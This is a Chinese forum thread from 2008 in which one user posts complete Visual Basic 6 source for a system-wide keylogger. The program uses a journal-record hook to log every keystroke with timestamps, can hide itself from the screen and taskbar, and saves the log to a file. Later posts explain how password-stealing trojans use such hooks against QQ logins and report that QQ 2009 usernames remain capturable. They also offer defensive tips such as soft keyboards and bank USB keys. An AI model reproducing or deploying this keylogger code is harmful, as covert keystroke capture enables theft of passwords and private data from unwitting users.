公开一个拦截系统键盘按键信息的完整代码

忆年华

使用VB就可以实现对键盘的拦截,通俗的说就是可以得到键盘的击键信息.知道你按下了哪个按键.

声明: 此代码用于学习之用,严禁用于任何违法程序的开发或用途,否则本人不附任何形式的连带责任.

;-------------------- 设计说明如下 --------------------

1.打开Visual Basic,新建一个EXE工程.工程名自定.
2.在右侧的工程资源管理器中点击右键.新建一个模块,一个类模块. 模块名和类模块名自定.
如图


3.添加按钮和各个控件后把控件的名字(Name属性)改为红色的标记字.


4.点击这里**代码编辑模式.


5.在窗体代码编辑器中粘贴如下代码.

'----------------------- 分割符
'窗体代码
Option Explicit
Dim WithEvents Hook As ClsHook
Private Declare Function MapVirtualKeyEx Lib "user32" Alias "MapVirtualKeyExA" (ByVal uCode As Long, ByVal uMapType As Long, ByVal dwhkl As Long) As Long
Private Declare Function GetKeyboardLayout Lib "user32" (ByVal dwLayout As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Sub CmdAbout_Click()
frmAbout.Show
End Sub
Private Sub CmdHide_Click()
MsgBox "隐藏程序后按 Ctrl+J 呼出程序！"
  Me.Hide
  App.TaskVisible = False
End Sub
Private Sub CmdSave_Click()
CDlSave.ShowSave
TxtSave.Text = CDlSave.FileName
End Sub
Private Sub CmdStop_Click()
CmdStop.Enabled = False
Hook.UnHook
Set Hook = Nothing
End Sub

Private Sub ComEnd_Click()
Unload Me
End Sub
Private Sub Command2_Click()
  Set Hook = New ClsHook
  Hook.SetHook
End Sub
Private Sub Form_Load()

Set Hook = New ClsHook
  Hook.SetHook
End Sub

Private Sub Form_Unload(Cancel As Integer)
Dim IntFile As Integer
  '保存
IntFile = FreeFile
If TxtSave.Text <> "" Then
    Open TxtSave.Text For Output As #IntFile
      Print #IntFile, RTBKey.Text
    Close #IntFile
End If
On Error GoTo Ext
Hook.UnHook
Set Hook = Nothing
Ext:
End Sub
Private Sub Hook_KeyDown(KeyCode As Integer, Shift As Integer)
Dim StrCode As String

   StrCode = CodeToString(KeyCode)
     '判断Shift
    If StrCode = "[Shift]" Or StrCode = "[Alt]" Or StrCode = "[Ctrl]" Then
      If Shift = vbAltMask + vbCtrlMask Then StrCode = "[Alt + Ctrl]"
      If Shift = vbAltMask + vbShiftMask Then StrCode = "[Alt + Shift]"
      If Shift = vbCtrlMask + vbShiftMask Then StrCode = "[Ctrl + Shift]"
      If Shift = vbCtrlMask + vbShiftMask + vbAltMask Then StrCode = "[Ctrl + Shift +Alt]"
   
    Else
      If Shift = vbShiftMask Then StrCode = StrCode & " + [Shift]"
      If Shift = vbCtrlMask Then StrCode = StrCode & " + [Ctrl]"
      If Shift = vbAltMask Then StrCode = StrCode & " + [Alt]"
      If Shift = vbAltMask + vbCtrlMask Then StrCode = StrCode & " + [Alt + Ctrl]"
      If Shift = vbAltMask + vbShiftMask Then StrCode = StrCode & " + [Alt + Shift]"
      If Shift = vbCtrlMask + vbShiftMask Then StrCode = StrCode & " + [Ctrl + Shift]"
      If Shift = vbCtrlMask + vbShiftMask + vbAltMask Then StrCode = StrCode & " + [Ctrl + Shift +Alt]"
    End If
   
     'HOTKEY
    If StrCode = "[j] + [Ctrl]" Then
      Me.Show
      App.TaskVisible = True
    End If
      
    If StrCode = "[DEL] + [Ctrl + Alt]" Then
       Set Hook = New ClsHook
       Hook.SetHook
    End If
   
    RTBKey.Text = RTBKey.Text & Now & "----" & StrCode & vbCrLf
End Sub
  '把按键码换为String
Private Function CodeToString(nCode As Integer) As String
   Dim StrKey As String
   
     Select Case nCode
          Case vbKeyBack:     StrKey = "BackSpace"
          Case vbKeyTab:      StrKey = "Tab"
          Case vbKeyClear:    StrKey = "Clear"
          Case vbKeyReturn:   StrKey = "Enter"
          Case vbKeyShift:    StrKey = "Shift"
          Case vbKeyControl:  StrKey = "Ctrl"
          Case vbKeyMenu:     StrKey = "Alt"
          Case vbKeyPause:    StrKey = "Pause"
          Case vbKeyCapital:  StrKey = "CapsLock"
          Case vbKeyEscape:   StrKey = "ESC"
          Case vbKeySpace:    StrKey = "SPACEBAR"
          Case vbKeyPageUp:   StrKey = "PAGE UP"
          Case vbKeyPageDown: StrKey = "PAGE DOWN"
          Case vbKeyEnd:      StrKey = "END"
          Case vbKeyHome:     StrKey = "HOME"
          Case vbKeyLeft:     StrKey = "LEFT ARROW"
          Case vbKeyUp:       StrKey = "UP ARROW"
          Case vbKeyRight:    StrKey = "RIGHT ARROW"
          Case vbKeyDown:     StrKey = "DOWN ARROW"
          Case vbKeySelect:   StrKey = "SELECT"
          Case vbKeyPrint:    StrKey = "PRINT SCREEN"
          Case vbKeyExecute:  StrKey = "EXECUTE"
          Case vbKeySnapshot: StrKey = "SNAPSHOT"
          Case vbKeyInsert:   StrKey = "INS"
          Case vbKeyDelete:   StrKey = "DEL"
          Case vbKeyHelp:     StrKey = "HELP"
          Case vbKeyNumlock:  StrKey = "NUM LOCK"
          Case vbKey0 To vbKey9: StrKey = Chr$(nCode)
          Case vbKeyA To vbKeyZ: StrKey = LCase(Chr$(nCode))     'MapVirtualKeyEx(nCode, 2, GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, 0))))
          Case vbKeyF1 To vbKeyF16: StrKey = "F" & CStr(nCode - 111)
          Case vbKeyNumpad0 To vbKeyNumpad9: StrKey = "Numpad " & CStr(nCode - 96)
          Case vbKeyMultiply: StrKey = "Numpad {*}"
          Case vbKeyAdd: StrKey = "Numpad {+}"
          Case vbKeySeparator: StrKey = "Numpad {ENTER}"
          Case vbKeySubtract: StrKey = "Numpad {-}"
          Case vbKeyDecimal: StrKey = "Numpad {.}"
          Case vbKeyDivide: StrKey = "Numpad {/}"
          Case Else
               StrKey = Chr$(MapVirtualKeyEx(nCode, 2, GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, 0))))
     End Select
   CodeToString = "[" & StrKey & "]"
End Function
Private Sub RTBKey_Change()
RTBKey.SelStart = Len(RTBKey.Text)
End Sub




[ 本帖最后由 忆年华 于 2008-6-21 01:31 编辑 ]

忆年华

'----------------- 分割符
'在新建的模块中粘贴如下代码

Option Explicit

Public Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lparam As Any) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpDest As Any, lpSource As Any, ByVal cBytes As Long)

Public OldHook As Long
Public LngClsPtr As Long

'回调函数
Public Function BackHook(ByVal nCode As Long, ByVal wParam As Long, ByVal lparam As Long) As Long
If nCode < 0 Then
   BackHook = CallNextHookEx(OldHook, nCode, wParam, lparam)
   Exit Function
End If

ResolvePointer(LngClsPtr).RiseEvent (lparam)
Call CallNextHookEx(OldHook, nCode, wParam, lparam)
End Function

'得到对象的地址
Private Function ResolvePointer(ByVal lpObj As Long) As ClsHook

  Dim oSH As ClsHook
  CopyMemory oSH, lpObj, 4&
  
  Set ResolvePointer = oSH
  CopyMemory oSH, 0&, 4&
End Function

默读傷悲

杂发了俩?

忆年华

'---------------分割符
'在新建的类模块中粘贴如下代码

Option Explicit
Public Event KeyDown(KeyCode As Integer, Shift As Integer)
Private Type EVENTMSG
     wMsg As Long
     lParamLow As Long
     lParamHigh As Long
     msgTime As Long
     hWndMsg As Long
End Type
'Private Const WH_GETMESSAGE As Long = 3
Private Const WH_JOURNALRECORD = 0
Private Const WM_KEYDOWN = &H100
Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
Public Sub SetHook()
  OldHook = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf BackHook, App.hInstance, 0)
End Sub
Public Sub UnHook()
  Call UnhookWindowsHookEx(OldHook)
End Sub
Friend Function RiseEvent(ByVal lparam As Long) As Long
Dim Msg As EVENTMSG
Dim IntShift As Integer                                            'Shift
Dim IntCode As Integer                                             'KeyCode
CopyMemory Msg, ByVal lparam, Len(Msg)

IntShift = 0
   Select Case Msg.wMsg
      Case WM_KEYDOWN
        '得到Shift,Ctrl,Alt的按键状态
         If GetAsyncKeyState(vbKeyShift) Then IntShift = (IntShift Or 1)
         If GetAsyncKeyState(vbKeyControl) Then IntShift = (IntShift Or 2)
         If GetAsyncKeyState(vbKeyMenu) Then IntShift = (IntShift Or 4)
         
         IntCode = Msg.lParamLow And &HFF                            '得到KeyCode
         RaiseEvent KeyDown(IntCode, IntShift)
   End Select
End Function
Private Sub Class_Initialize()
LngClsPtr = ObjPtr(Me)
End Sub

忆年华

至此,全部代码已经粘贴完毕.
可以按下F5进行调试运行了.

忆年华

很多盗号程序就是利用系统的HOOK(钩子) 技术来实现用户名,密码获取进行盗窃的.
原理不外乎开发一个这样的不含窗体的程序,监控系统任务管理器,发现QQ.exe后程序**监听状态,利用SENDMESSAGE系统API接口查找当前控件输入焦点,如果焦点在用户名输入框,则记录用户名,在不同的输入框中则记录密码或者其他信息.然后记录并且保存或者直接经由设计的邮件功能发送到指定的信箱中去. 因为隐藏了窗体甚至是不设计窗体,所以一般不容易被发现..网游的很多盗窃程序也是如此. 而HOOK技术不仅仅是用于这点,HOOK技术不是黑技术,而是正常的系统底层接口技术,只是被利用罢了,所以杀毒软件和诸多反木马软件并不把它当作病毒或者木马来看待,因为它在系统中 "合法" .

知道了原理就知道了如何防范.在公共场合的电脑上使用键盘输入私密信息就要注意了, 必要的时候可以使用软键盘来输入.一些恶意软件会检测不到的.  

忆年华

对QQ 2009 的防探测输入测试,发现用户名的输入仍然可以被监控到.

︶ㄣo義o﹎

银行密码也能记住?

忆年华

对于QQ 2009 的密码输入框而言,腾讯是加了保护的.
其方法是在用户输入的时候,或者焦点在密码框的时候.
QQ程序模拟键盘输入不停的释放干扰码.扰乱键盘记录软件的记录.
但仍然不能做到真正的屏蔽.还是可以被记录到的.

软键盘的测试图就不发了,HOOK监控不到.
所以对于QQ来说,还是建议使用软键盘输入密码的好.

忆年华测试----2008.06.21   02:14

忆年华

再来一个测试. 看来软键盘还是十分有效的. 不过如果用到屏幕抓取和键盘记录的..... 看来还是不很安全.

忆年华

网银还是使用U顿或者密码卡吧.
即使记录了,也不能比你快**系统.等到那些入侵者拿到的时候也就晚了.密码更换了.

还是希望大家能在上网的同时提高防范意识,时刻注意自己的私密信息和财产安全.

忆年华

顺便提醒下.
QQ2009 附带信箱绑定功能.
绑定后可以使用信箱地址进行登录,这个时候只要你的信箱密码和QQ密码不一致,
那么在使用信箱地址作为QQ登录名登录的时候,(输入的密码是你QQ的密码) 则多了一道安全防线.